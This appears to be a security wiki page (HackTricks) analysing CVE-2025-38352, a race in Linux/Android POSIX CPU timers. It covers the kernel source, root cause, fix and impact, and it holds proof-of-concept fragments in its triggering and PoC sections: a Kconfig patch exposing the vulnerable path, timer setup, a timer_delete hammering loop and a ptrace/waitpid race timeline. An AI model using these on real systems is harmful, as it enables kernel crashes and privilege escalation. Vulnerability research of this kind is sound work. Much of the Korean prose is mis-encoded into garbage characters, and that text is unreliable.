POSIX CPU Timers TOCTOU race (CVE-2025-38352)

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

์ด ํŽ˜์ด์ง€๋Š” Linux/Android POSIX CPU timers์˜ TOCTOU race condition์„ ๋ฌธ์„œํ™”ํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” ํƒ€์ด๋จธ ์ƒํƒœ๋ฅผ ์†์ƒ์‹œํ‚ค๊ณ  ์ปค๋„์„ ํฌ๋ž˜์‹œ์‹œํ‚ฌ ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ผ๋ถ€ ์ƒํ™ฉ์—์„œ๋Š” privilege escalation์œผ๋กœ ์ด์–ด์งˆ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

  • ์˜ํ–ฅ ๋ฐ›๋Š” ๊ตฌ์„ฑ์š”์†Œ: kernel/time/posix-cpu-timers.c
  • ๊ธฐ๋ณธ ์›๋ฆฌ: expiry vs deletion race under task exit
  • ๊ตฌ์„ฑ ๋ฏผ๊ฐ: CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n (IRQ-context expiry path)

๊ฐ„๋‹จํ•œ ๋‚ด๋ถ€ ์š”์•ฝ (exploitation์— ๊ด€๋ จ๋จ)

  • ํƒ€์ด๋จธ ๊ณ„์ • ๊ด€๋ฆฌ๋Š” cpu_clock_sample()๋ฅผ ํ†ตํ•ด ์„ธ ๊ฐ€์ง€ CPU ํด๋Ÿญ์œผ๋กœ ์ˆ˜ํ–‰๋œ๋‹ค:
  • CPUCLOCK_PROF: utime + stime
  • CPUCLOCK_VIRT: utime only
  • CPUCLOCK_SCHED: task_sched_runtime()
  • Timer ์ƒ์„ฑ์€ ํƒ€์ด๋จธ๋ฅผ task/pid์— ์—ฐ๊ฒฐํ•˜๊ณ  timerqueue ๋…ธ๋“œ๋ฅผ ์ดˆ๊ธฐํ™”ํ•œ๋‹ค:
static int posix_cpu_timer_create(struct k_itimer *new_timer) {
struct pid *pid;
rcu_read_lock();
pid = pid_for_clock(new_timer->it_clock, false);
if (!pid) { rcu_read_unlock(); return -EINVAL; }
new_timer->kclock = &clock_posix_cpu;
timerqueue_init(&new_timer->it.cpu.node);
new_timer->it.cpu.pid = get_pid(pid);
rcu_read_unlock();
return 0;
}
  • Arming์€ per-base timerqueue์— ์‚ฝ์ž…ํ•˜๋ฉฐ next-expiry cache๋ฅผ ์—…๋ฐ์ดํŠธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:
static void arm_timer(struct k_itimer *timer, struct task_struct *p) {
struct posix_cputimer_base *base = timer_base(timer, p);
struct cpu_timer *ctmr = &timer->it.cpu;
u64 newexp = cpu_timer_getexpires(ctmr);
if (!cpu_timer_enqueue(&base->tqhead, ctmr)) return;
if (newexp < base->nextevt) base->nextevt = newexp;
}
  • ๋น ๋ฅธ ๊ฒฝ๋กœ๋Š” ์บ์‹œ๋œ ๋งŒ๋ฃŒ๊ฐ€ ๋ฐœ๋™ํ•  ๊ฐ€๋Šฅ์„ฑ์„ ๋‚˜ํƒ€๋‚ด์ง€ ์•Š๋Š” ํ•œ ๋น„์šฉ์ด ๋งŽ์ด ๋“œ๋Š” ์ฒ˜๋ฆฌ๋ฅผ ํ”ผํ•ฉ๋‹ˆ๋‹ค:
static inline bool fastpath_timer_check(struct task_struct *tsk) {
struct posix_cputimers *pct = &tsk->posix_cputimers;
if (!expiry_cache_is_inactive(pct)) {
u64 samples[CPUCLOCK_MAX];
task_sample_cputime(tsk, samples);
if (task_cputimers_expired(samples, pct))
return true;
}
return false;
}
  • Expiration์€ ๋งŒ๋ฃŒ๋œ ํƒ€์ด๋จธ๋ฅผ ์ˆ˜์ง‘ํ•˜๊ณ , ์ด๋ฅผ firing ์ƒํƒœ๋กœ ํ‘œ์‹œํ•˜๋ฉฐ, ํ์—์„œ ์ œ๊ฑฐํ•ฉ๋‹ˆ๋‹ค; ์‹ค์ œ ์ „๋‹ฌ์€ ์—ฐ๊ธฐ๋ฉ๋‹ˆ๋‹ค:
#define MAX_COLLECTED 20
static u64 collect_timerqueue(struct timerqueue_head *head,
struct list_head *firing, u64 now) {
struct timerqueue_node *next; int i = 0;
while ((next = timerqueue_getnext(head))) {
struct cpu_timer *ctmr = container_of(next, struct cpu_timer, node);
u64 expires = cpu_timer_getexpires(ctmr);
if (++i == MAX_COLLECTED || now < expires) return expires;
ctmr->firing = 1;                           // critical state
rcu_assign_pointer(ctmr->handling, current);
cpu_timer_dequeue(ctmr);
list_add_tail(&ctmr->elist, firing);
}
return U64_MAX;
}

๋‘ ๊ฐ€์ง€ ๋งŒ๋ฃŒ ์ฒ˜๋ฆฌ ๋ชจ๋“œ

  • CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: ๋งŒ๋ฃŒ๋Š” ๋Œ€์ƒ task์˜ task_work๋ฅผ ํ†ตํ•ด ์—ฐ๊ธฐ๋จ
  • CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: ๋งŒ๋ฃŒ๋Š” IRQ ์ปจํ…์ŠคํŠธ์—์„œ ์ง์ ‘ ์ฒ˜๋ฆฌ๋จ
Task_work์™€ IRQ ๋งŒ๋ฃŒ ๊ฒฝ๋กœ ```c void run_posix_cpu_timers(void) { struct task_struct *tsk = current; __run_posix_cpu_timers(tsk); } #ifdef CONFIG_POSIX_CPU_TIMERS_TASK_WORK static inline void __run_posix_cpu_timers(struct task_struct *tsk) { if (WARN_ON_ONCE(tsk->posix_cputimers_work.scheduled)) return; tsk->posix_cputimers_work.scheduled = true; task_work_add(tsk, &tsk->posix_cputimers_work.work, TWA_RESUME); } #else static inline void __run_posix_cpu_timers(struct task_struct *tsk) { lockdep_posixtimer_enter(); handle_posix_cpu_timers(tsk); // IRQ-context path lockdep_posixtimer_exit(); } #endif ```

IRQ-context ๊ฒฝ๋กœ์—์„œ๋Š” firing list๊ฐ€ sighand ์™ธ๋ถ€์—์„œ ์ฒ˜๋ฆฌ๋ฉ๋‹ˆ๋‹ค.

IRQ-context ์ „๋‹ฌ ๋ฃจํ”„ ```c static void handle_posix_cpu_timers(struct task_struct *tsk) { struct k_itimer *timer, *next; unsigned long flags, start; LIST_HEAD(firing); if (!lock_task_sighand(tsk, &flags)) return; // may fail on exit do { start = READ_ONCE(jiffies); barrier(); check_thread_timers(tsk, &firing); check_process_timers(tsk, &firing); } while (!posix_cpu_timers_enable_work(tsk, start)); unlock_task_sighand(tsk, &flags); // race window opens here list_for_each_entry_safe(timer, next, &firing, it.cpu.elist) { int cpu_firing; spin_lock(&timer->it_lock); list_del_init(&timer->it.cpu.elist); cpu_firing = timer->it.cpu.firing; // read then reset timer->it.cpu.firing = 0; if (likely(cpu_firing >= 0)) cpu_timer_fire(timer); rcu_assign_pointer(timer->it.cpu.handling, NULL); spin_unlock(&timer->it_lock); } } ```

๊ทผ๋ณธ ์›์ธ: IRQ-time ๋งŒ๋ฃŒ์™€ task ์ข…๋ฃŒ ์ค‘ ๋™์‹œ ์‚ญ์ œ ๊ฐ„์˜ TOCTOU Preconditions

  • CONFIG_POSIX_CPU_TIMERS_TASK_WORK is disabled (IRQ path in use)
  • ๋Œ€์ƒ task๋Š” ์ข…๋ฃŒ ์ค‘์ด์ง€๋งŒ ์™„์ „ํžˆ ํšŒ์ˆ˜(reaped)๋˜์ง€ ์•Š์Œ
  • ๋‹ค๋ฅธ ์Šค๋ ˆ๋“œ๊ฐ€ ๋™์ผํ•œ ํƒ€์ด๋จธ์— ๋Œ€ํ•ด posix_cpu_timer_del()์„ ๋™์‹œ์— ํ˜ธ์ถœํ•จ

Sequence

  1. update_process_times()๊ฐ€ ์ข…๋ฃŒ ์ค‘์ธ task์— ๋Œ€ํ•ด IRQ ์ปจํ…์ŠคํŠธ์—์„œ run_posix_cpu_timers()๋ฅผ ํŠธ๋ฆฌ๊ฑฐํ•จ.
  2. collect_timerqueue()๋Š” ctmr->firing = 1๋กœ ์„ค์ •ํ•˜๊ณ  ํƒ€์ด๋จธ๋ฅผ ์ž„์‹œ firing ๋ฆฌ์ŠคํŠธ๋กœ ์˜ฎ๊น€.
  3. handle_posix_cpu_timers()๋Š” unlock_task_sighand()๋ฅผ ํ†ตํ•ด sighand๋ฅผ ํ•ด์ œํ•˜์—ฌ ๋ฝ ์™ธ๋ถ€์—์„œ ํƒ€์ด๋จธ๋ฅผ ์ „๋‹ฌํ•จ.
  4. unlock ์งํ›„, ์ข…๋ฃŒ ์ค‘์ธ task๊ฐ€ reaped๋  ์ˆ˜ ์žˆ๊ณ ; ํ˜•์ œ ์Šค๋ ˆ๋“œ๊ฐ€ posix_cpu_timer_del()์„ ์‹คํ–‰ํ•จ.
  5. ์ด ์ฐฝ์—์„œ posix_cpu_timer_del()์€ cpu_timer_task_rcu()/lock_task_sighand()๋ฅผ ํ†ตํ•ด state๋ฅผ ํš๋“ํ•˜์ง€ ๋ชปํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ๋”ฐ๋ผ์„œ timer->it.cpu.firing์„ ํ™•์ธํ•˜๋Š” ์ผ๋ฐ˜์ ์ธ in-flight ๊ฐ€๋“œ๋ฅผ ๊ฑด๋„ˆ๋›ธ ์ˆ˜ ์žˆ๋‹ค. ์‚ญ์ œ๊ฐ€ firing์ด ์•„๋‹Œ ๊ฒƒ์ฒ˜๋Ÿผ ์ง„ํ–‰๋˜์–ด ๋งŒ๋ฃŒ ์ฒ˜๋ฆฌ ์ค‘์— ์ƒํƒœ๊ฐ€ ์†์ƒ๋˜๊ณ , ๊ทธ ๊ฒฐ๊ณผ ํฌ๋ž˜์‹œ/UB๋กœ ์ด์–ด์งˆ ์ˆ˜ ์žˆ๋‹ค.

release_task()์™€ timer_delete()๊ฐ€ firing ํƒ€์ด๋จธ๋ฅผ ํ•ด์ œํ•˜๋Š” ๋ฐฉ๋ฒ•

handle_posix_cpu_timers()๊ฐ€ task ๋ฆฌ์ŠคํŠธ์—์„œ ํƒ€์ด๋จธ๋ฅผ ์ œ๊ฑฐํ•œ ์ดํ›„์—๋„, ptraced zombie๋Š” ์—ฌ์ „ํžˆ reaped๋  ์ˆ˜ ์žˆ๋‹ค. waitpid() ์Šคํƒ์€ release_task() โ†’ __exit_signal()๋ฅผ ๊ตฌ๋™ํ•˜๋ฉฐ, ์ด ๊ณผ์ •์—์„œ sighand์™€ ์‹ ํ˜ธ ํ๋ฅผ ํ•ด์ฒดํ•˜๋Š”๋ฐ ๋‹ค๋ฅธ CPU๋Š” ์—ฌ์ „ํžˆ ํƒ€์ด๋จธ ๊ฐ์ฒด์— ๋Œ€ํ•œ ํฌ์ธํ„ฐ๋ฅผ ๋ณด์œ ํ•˜๊ณ  ์žˆ๋‹ค:

static void __exit_signal(struct task_struct *tsk)
{
struct sighand_struct *sighand = lock_task_sighand(tsk, NULL);
// ... signal cleanup elided ...
tsk->sighand = NULL;             // makes future lock_task_sighand() fail
unlock_task_sighand(tsk, NULL);
}

sighand๊ฐ€ ๋ถ„๋ฆฌ๋œ ์ƒํƒœ์—์„œ๋„ timer_delete()๋Š” ์—ฌ์ „ํžˆ ์„ฑ๊ณต์„ ๋ฐ˜ํ™˜ํ•˜๋Š”๋ฐ posix_cpu_timer_del()์ด ๋ฝ ํš๋“์— ์‹คํŒจํ•  ๋•Œ ret = 0์œผ๋กœ ๋‚จ๊ฒจ๋‘์–ด syscall์ด RCU๋ฅผ ํ†ตํ•ด ๊ฐ์ฒด๋ฅผ ํ•ด์ œํ•˜๋„๋ก ์ง„ํ–‰๋˜๊ธฐ ๋•Œ๋ฌธ์ด๋‹ค:

static int posix_cpu_timer_del(struct k_itimer *timer)
{
struct sighand_struct *sighand = lock_task_sighand(p, &flags);
if (unlikely(!sighand))
goto out;                   // ret stays 0 -> userland sees success
// ... normal unlink path ...
}
SYSCALL_DEFINE1(timer_delete, timer_t, timer_id)
{
if (timer_delete_hook(timer) == TIMER_RETRY)
timer = timer_wait_running(timer, &flags);
posix_timer_unhash_and_free(timer);            // call_rcu(k_itimer_rcu_free)
return 0;
}

Because the slab object is RCU-freed while IRQ context still walks the firing list, reuse of the timer cache becomes a UAF primitive.

Steering reaping with ptrace + waitpid

์ข€๋น„๊ฐ€ ์ž๋™์œผ๋กœ ์ˆ˜๊ฑฐ๋˜์ง€ ์•Š๊ณ  ๋‚จ์•„ ์žˆ๋„๋ก ํ•˜๋Š” ๊ฐ€์žฅ ์‰ฌ์šด ๋ฐฉ๋ฒ•์€ non-leader worker thread๋ฅผ ptraceํ•˜๋Š” ๊ฒƒ์ด๋‹ค. exit_notify()๋Š” ๋จผ์ € exit_state = EXIT_ZOMBIE๋ฅผ ์„ค์ •ํ•˜๊ณ  autoreap๊ฐ€ true์ผ ๋•Œ๋งŒ EXIT_DEAD๋กœ ์ „ํ™˜๋œ๋‹ค. ptraced๋œ ์Šค๋ ˆ๋“œ์˜ ๊ฒฝ์šฐ SIGCHLD๊ฐ€ ๋ฌด์‹œ๋˜์ง€ ์•Š๋Š” ํ•œ autoreap = do_notify_parent()๋Š” false๋กœ ์œ ์ง€๋˜๋ฏ€๋กœ release_task()๋Š” ๋ถ€๋ชจ๊ฐ€ ๋ช…์‹œ์ ์œผ๋กœ waitpid()๋ฅผ ํ˜ธ์ถœํ•  ๋•Œ๋งŒ ์‹คํ–‰๋œ๋‹ค:

  • ํŠธ๋ ˆ์ด์‹œ ๋‚ด๋ถ€์—์„œ pthread_create()๋ฅผ ์‚ฌ์šฉํ•ด ํ”ผํ•ด์ž๊ฐ€ thread-group leader๊ฐ€ ์•„๋‹ˆ๊ฒŒ ํ•œ๋‹ค (wait_task_zombie()๋Š” ptraced non-leaders๋ฅผ ์ฒ˜๋ฆฌํ•œ๋‹ค).
  • ๋ถ€๋ชจ๋Š” ptrace(PTRACE_ATTACH, tid)๋ฅผ ํ˜ธ์ถœํ•˜๊ณ  ์ดํ›„ waitpid(tid, __WALL)๋ฅผ ํ˜ธ์ถœํ•˜์—ฌ do_wait_pid() โ†’ wait_task_zombie() โ†’ release_task() ํ๋ฆ„์„ ์œ ๋„ํ•œ๋‹ค.
  • ํŒŒ์ดํ”„๋‚˜ ๊ณต์œ  ๋ฉ”๋ชจ๋ฆฌ๋กœ ์ •ํ™•ํ•œ TID๋ฅผ ๋ถ€๋ชจ์—๊ฒŒ ์ „๋‹ฌํ•ด ์˜ฌ๋ฐ”๋ฅธ ์›Œ์ปค๋ฅผ ํ•„์š” ์‹œ์—๋งŒ ์ˆ˜๊ฑฐํ•˜๊ฒŒ ํ•œ๋‹ค.

์ด๋Ÿฐ ์—ฐ์ถœ์€ handle_posix_cpu_timers()๊ฐ€ ์—ฌ์ „ํžˆ tsk->sighand๋ฅผ ์ฐธ์กฐํ•  ์ˆ˜ ์žˆ๋Š” ์ฐฝ์„ ๋ณด์žฅํ•˜๋ฉฐ, ์ดํ›„์˜ waitpid()๊ฐ€ ์ด๋ฅผ ํ•ด์ œํ•ด timer_delete()๊ฐ€ ๋™์ผํ•œ k_itimer ๊ฐ์ฒด๋ฅผ ํšŒ์ˆ˜ํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•œ๋‹ค.

Why TASK_WORK mode is safe by design

  • CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y์ธ ๊ฒฝ์šฐ ๋งŒ๋ฃŒ ์ฒ˜๋ฆฌ๊ฐ€ task_work๋กœ ์—ฐ๊ธฐ๋œ๋‹ค; exit_task_work๋Š” exit_notify๋ณด๋‹ค ๋จผ์ € ์‹คํ–‰๋˜๋ฏ€๋กœ IRQ ์‹œ๊ฐ„์— reaping๊ณผ ๊ฒน์น˜์ง€ ์•Š๋Š”๋‹ค.
  • ๊ทธ๋Ÿผ์—๋„ ๋ถˆ๊ตฌํ•˜๊ณ  task๊ฐ€ ์ด๋ฏธ ์ข…๋ฃŒ ์ค‘์ด๋ฉด task_work_add()๋Š” ์‹คํŒจํ•œ๋‹ค; exit_state๋ฅผ ๊ธฐ์ค€์œผ๋กœ ์ œ์–ดํ•˜๋ฉด ๋‘ ๋ชจ๋“œ๊ฐ€ ์ผ๊ด€๋˜๊ฒŒ ๋™์ž‘ํ•œ๋‹ค.

Fix (Android common kernel) and rationale

  • ํ˜„์žฌ task๊ฐ€ ์ข…๋ฃŒ ์ค‘์ด๋ฉด ์กฐ๊ธฐ ๋ฐ˜ํ™˜์„ ์ถ”๊ฐ€ํ•ด ๋ชจ๋“  ์ฒ˜๋ฆฌ๋ฅผ ์ฐจ๋‹จํ•œ๋‹ค:
// kernel/time/posix-cpu-timers.c (Android common kernel commit 157f357d50b5038e5eaad0b2b438f923ac40afeb)
if (tsk->exit_state)
return;
  • ์ด๊ฒƒ์€ ์ข…๋ฃŒ ์ค‘์ธ ํƒœ์Šคํฌ์— ๋Œ€ํ•ด handle_posix_cpu_timers()์— ์ง„์ž…ํ•˜๋Š” ๊ฒƒ์„ ๋ฐฉ์ง€ํ•˜์—ฌ posix_cpu_timer_del()์ด it.cpu.firing์„ ๋†“์น˜๊ณ  ๋งŒ๋ฃŒ ์ฒ˜๋ฆฌ์™€ ๊ฒฝ์Ÿ(race)ํ•  ์ˆ˜ ์žˆ๋Š” ์‹œ๊ฐ„ ์ฐฝ์„ ์ œ๊ฑฐํ•ฉ๋‹ˆ๋‹ค.

Impact

  • ๋™์‹œ ๋งŒ๋ฃŒ/์‚ญ์ œ(expiry/deletion) ๋™์•ˆ ํƒ€์ด๋จธ ๊ตฌ์กฐ์ฒด์˜ ์ปค๋„ ๋ฉ”๋ชจ๋ฆฌ ์†์ƒ์€ ์ฆ‰์‹œ ํฌ๋ž˜์‹œ(DoS)๋ฅผ ์ผ์œผํ‚ฌ ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ž„์˜์˜ ์ปค๋„ ์ƒํƒœ ์กฐ์ž‘ ๊ธฐํšŒ๋ฅผ ํ†ตํ•ด privilege escalation์„ ์œ„ํ•œ ๊ฐ•๋ ฅํ•œ primitive๊ฐ€ ๋ฉ๋‹ˆ๋‹ค.

Triggering the bug (safe, reproducible conditions) Build/config

  • Ensure CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n and use a kernel without the exit_state gating fix. On x86/arm64 the option is normally forced on via HAVE_POSIX_CPU_TIMERS_TASK_WORK, so researchers often patch kernel/time/Kconfig to expose a manual toggle:
config POSIX_CPU_TIMERS_TASK_WORK
bool "CVE-2025-38352: POSIX CPU timers task_work toggle" if EXPERT
depends on POSIX_TIMERS && HAVE_POSIX_CPU_TIMERS_TASK_WORK
default y

์ด๋Š” ๋ถ„์„ ๋นŒ๋“œ์šฉ์œผ๋กœ Android ๊ณต๊ธ‰์—…์ฒด๊ฐ€ ํ•œ ๊ฒƒ๊ณผ ์œ ์‚ฌํ•ฉ๋‹ˆ๋‹ค; upstream x86_64 and arm64๋Š” HAVE_POSIX_CPU_TIMERS_TASK_WORK=y๋ฅผ ๊ฐ•์ œ ์„ค์ •ํ•˜๋ฏ€๋กœ, ์ทจ์•ฝํ•œ IRQ ๊ฒฝ๋กœ๋Š” ํ•ด๋‹น ์˜ต์…˜์ด ์ปดํŒŒ์ผ ์•„์›ƒ๋œ 32๋น„ํŠธ Android ์ปค๋„์—์„œ ์ฃผ๋กœ ์กด์žฌํ•ฉ๋‹ˆ๋‹ค.

  • ๋ฉ€ํ‹ฐ์ฝ”์–ด VM์—์„œ ์‹คํ–‰ํ•˜์„ธ์š”(์˜ˆ: QEMU -smp cores=4) โ€” ๋ถ€๋ชจ, ์ž์‹ ๋ฉ”์ธ ๋ฐ ์›Œ์ปค ์Šค๋ ˆ๋“œ๊ฐ€ ์ „์šฉ CPU์— ๊ณ ์ •๋  ์ˆ˜ ์žˆ๋„๋ก.

๋Ÿฐํƒ€์ž„ ์ „๋žต

  • ์ข…๋ฃŒ ์ง์ „์˜ ์Šค๋ ˆ๋“œ๋ฅผ ๋ชฉํ‘œ๋กœ ์‚ผ์•„ CPU ํƒ€์ด๋จธ๋ฅผ ์—ฐ๊ฒฐํ•ฉ๋‹ˆ๋‹ค(์Šค๋ ˆ๋“œ๋ณ„ ๋˜๋Š” ํ”„๋กœ์„ธ์Šค ์ „์ฒด ์‹œ๊ณ„):
  • ์Šค๋ ˆ๋“œ๋ณ„์ธ ๊ฒฝ์šฐ: timer_create(CLOCK_THREAD_CPUTIME_ID, โ€ฆ)
  • ํ”„๋กœ์„ธ์Šค ์ „์ฒด์ธ ๊ฒฝ์šฐ: timer_create(CLOCK_PROCESS_CPUTIME_ID, โ€ฆ)
  • IRQ ๊ฒฝ๋กœ ์ง„์ž…์„ ์ตœ๋Œ€ํ™”ํ•˜๊ธฐ ์œ„ํ•ด ์ดˆ๊ธฐ ๋งŒ๋ฃŒ ์‹œ๊ฐ„์„ ๋งค์šฐ ์งง๊ฒŒ ํ•˜๊ณ  ๋ฐ˜๋ณต ๊ฐ„๊ฒฉ์„ ์ž‘๊ฒŒ ์„ค์ •ํ•˜์„ธ์š”:
static timer_t t;
static void setup_cpu_timer(void) {
struct sigevent sev = {0};
sev.sigev_notify = SIGEV_SIGNAL;    // delivery type not critical for the race
sev.sigev_signo = SIGUSR1;
if (timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &t)) perror("timer_create");
struct itimerspec its = {0};
its.it_value.tv_nsec = 1;           // fire ASAP
its.it_interval.tv_nsec = 1;        // re-fire
if (timer_settime(t, 0, &its, NULL)) perror("timer_settime");
}
  • ํ˜•์ œ ์Šค๋ ˆ๋“œ์—์„œ ๋Œ€์ƒ ์Šค๋ ˆ๋“œ๊ฐ€ ์ข…๋ฃŒ๋˜๋Š” ๋™์•ˆ ๋™์ผํ•œ ํƒ€์ด๋จธ๋ฅผ ๋™์‹œ์— ์‚ญ์ œ:
void *deleter(void *arg) {
for (;;) (void)timer_delete(t);     // hammer delete in a loop
}
  • ๋ ˆ์ด์Šค ์ฆํญ ์š”์ธ: ๋†’์€ ์Šค์ผ€์ค„๋Ÿฌ ํ‹ฑ ์†๋„, CPU ๋ถ€ํ•˜, ๋ฐ˜๋ณต์ ์ธ ์Šค๋ ˆ๋“œ ์ข…๋ฃŒ/์žฌ์ƒ์„ฑ ์‚ฌ์ดํด. ์ด ์ถฉ๋Œ์€ ์ผ๋ฐ˜์ ์œผ๋กœ unlock_task_sighand() ์งํ›„ task lookup/locking์ด ์‹คํŒจํ•˜์—ฌ posix_cpu_timer_del()์ด ํƒ€์ด๋จธ ๋ฐœ๋™์„ ์ธ์ง€ํ•˜์ง€ ๋ชปํ•  ๋•Œ ๋ฐœ์ƒํ•œ๋‹ค.

Practical PoC orchestration

Thread & IPC choreography

์‹ ๋ขฐํ•  ์ˆ˜ ์žˆ๋Š” ์žฌํ˜„ ์ฝ”๋“œ๋Š” ptracing parent์™€ ์ทจ์•ฝํ•œ ์›Œ์ปค ์Šค๋ ˆ๋“œ๋ฅผ ์ƒ์„ฑํ•˜๋Š” child๋กœ ํฌํฌ๋œ๋‹ค. ๋‘ ๊ฐœ์˜ ํŒŒ์ดํ”„(c2p, p2c)๊ฐ€ ์›Œ์ปค์˜ TID๋ฅผ ์ „๋‹ฌํ•˜๊ณ  ๊ฐ ๋‹จ๊ณ„๋ฅผ ์ œ์–ดํ•˜๋ฉฐ, pthread_barrier_t๋Š” ๋ถ€๋ชจ๊ฐ€ attachํ•  ๋•Œ๊นŒ์ง€ ์›Œ์ปค๊ฐ€ ํƒ€์ด๋จธ๋ฅผ ์„ค์ •ํ•˜๋Š” ๊ฒƒ์„ ๋ง‰๋Š”๋‹ค. ๊ฐ ํ”„๋กœ์„ธ์Šค ๋˜๋Š” ์Šค๋ ˆ๋“œ๋Š” sched_setaffinity()๋กœ ๊ณ ์ •(์˜ˆ: parent on CPU1, child main on CPU0, worker on CPU2)๋˜์–ด ์Šค์ผ€์ค„๋Ÿฌ ๋…ธ์ด์ฆˆ๋ฅผ ์ตœ์†Œํ™”ํ•˜๊ณ  ๋ ˆ์ด์Šค ์žฌํ˜„์„ฑ์„ ์œ ์ง€ํ•œ๋‹ค.

Timer calibration with CLOCK_THREAD_CPUTIME_ID

์›Œ์ปค๋Š” ์ž์‹ ์˜ CPU ์‚ฌ์šฉ ์‹œ๊ฐ„๋งŒ์ด ๋ฐ๋“œ๋ผ์ธ์„ ์ง„ํ–‰์‹œํ‚ค๋„๋ก ์Šค๋ ˆ๋“œ๋ณ„ CPU ํƒ€์ด๋จธ๋ฅผ ์„ค์ •ํ•œ๋‹ค. ์กฐ์ • ๊ฐ€๋Šฅํ•œ wait_time(๊ธฐ๋ณธ๊ฐ’ โ‰ˆ250โ€ฏยตs์˜ CPU ์‹œ๊ฐ„)๊ณผ ์ œํ•œ๋œ ๋ฐ”์œ ๋ฃจํ”„๋Š” ํƒ€์ด๋จธ๊ฐ€ ๊ฑฐ์˜ ๋ฐœ๋™ํ•˜๋ ค๋Š” ์ˆœ๊ฐ„์— exit_notify()๊ฐ€ EXIT_ZOMBIE๋ฅผ ์„ค์ •ํ•˜๋„๋ก ๋ณด์žฅํ•œ๋‹ค:

์ตœ์†Œ ์Šค๋ ˆ๋“œ๋ณ„ CPU ํƒ€์ด๋จธ ์Šค์ผˆ๋ ˆํ†ค ```c static timer_t timer; static long wait_time = 250000; // nanoseconds of CPU time

static void timer_fire(sigval_t unused) { puts(โ€œtimer firedโ€); }

static void *worker(void *arg) { struct sigevent sev = {0}; sev.sigev_notify = SIGEV_THREAD; sev.sigev_notify_function = timer_fire; timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &timer);

struct itimerspec ts = { .it_interval = {0, 0}, .it_value = {0, wait_time}, };

pthread_barrier_wait(&barrier); // released by child main after ptrace attach timer_settime(timer, 0, &ts, NULL);

for (volatile int i = 0; i < 1000000; i++); // burn CPU before exiting return NULL; // do_exit() keeps burning CPU }

</details>

#### ๊ฒฝ์Ÿ ํƒ€์ž„๋ผ์ธ
1. ์ž์‹์ด `c2p`๋กœ ๋ถ€๋ชจ์—๊ฒŒ worker TID๋ฅผ ์•Œ๋ ค์ค€ ๋’ค ๋ฐ”๋ฆฌ์–ด์—์„œ ๋ธ”๋กํ•œ๋‹ค.
2. ๋ถ€๋ชจ๊ฐ€ `PTRACE_ATTACH`๋ฅผ ์ˆ˜ํ–‰ํ•˜๊ณ  `waitpid(__WALL)`์—์„œ ๋Œ€๊ธฐํ•œ ๋‹ค์Œ, `PTRACE_CONT`๋กœ ์›Œ์ปค๋ฅผ ์‹คํ–‰์‹œ์ผœ ์ข…๋ฃŒ์‹œํ‚จ๋‹ค.
3. ํœด๋ฆฌ์Šคํ‹ฑ(๋˜๋Š” ์ˆ˜๋™ ์กฐ์ž‘์ž ์ž…๋ ฅ)์ด ํƒ€์ด๋จธ๊ฐ€ IRQ ์ธก์˜ `firing` ๋ฆฌ์ŠคํŠธ๋กœ ์ˆ˜์ง‘๋˜์—ˆ๋‹ค๊ณ  ํŒ๋‹จํ•˜๋ฉด, ๋ถ€๋ชจ๋Š” release_task()๋ฅผ ํŠธ๋ฆฌ๊ฑฐํ•˜๊ณ  `tsk->sighand`๋ฅผ ํ•ด์ œํ•˜๊ธฐ ์œ„ํ•ด `waitpid(tid, __WALL)`๋ฅผ ๋‹ค์‹œ ์‹คํ–‰ํ•œ๋‹ค.
4. ๋ถ€๋ชจ๋Š” `p2c`๋กœ ์ž์‹์—๊ฒŒ ์‹ ํ˜ธ๋ฅผ ๋ณด๋‚ด ์ž์‹์˜ main์ด `timer_delete(timer)`๋ฅผ ํ˜ธ์ถœํ•˜๊ณ  ํƒ€์ด๋จธ์˜ RCU ์ฝœ๋ฐฑ์ด ์™„๋ฃŒ๋  ๋•Œ๊นŒ์ง€ `wait_for_rcu()` ๊ฐ™์€ ํ—ฌํผ๋ฅผ ์ฆ‰์‹œ ์‹คํ–‰ํ•˜๋„๋ก ํ•œ๋‹ค.
5. IRQ ์ปจํ…์ŠคํŠธ๋Š” ๊ฒฐ๊ตญ `handle_posix_cpu_timers()`๋ฅผ ์žฌ๊ฐœํ•˜๊ณ  ํ•ด์ œ๋œ `struct k_itimer`๋ฅผ ์—ญ์ฐธ์กฐํ•˜์—ฌ KASAN ๋˜๋Š” WARN_ON()์„ ๋ฐœ์ƒ์‹œํ‚จ๋‹ค.

#### ์„ ํƒ์  ์ปค๋„ ๊ณ„์ธก
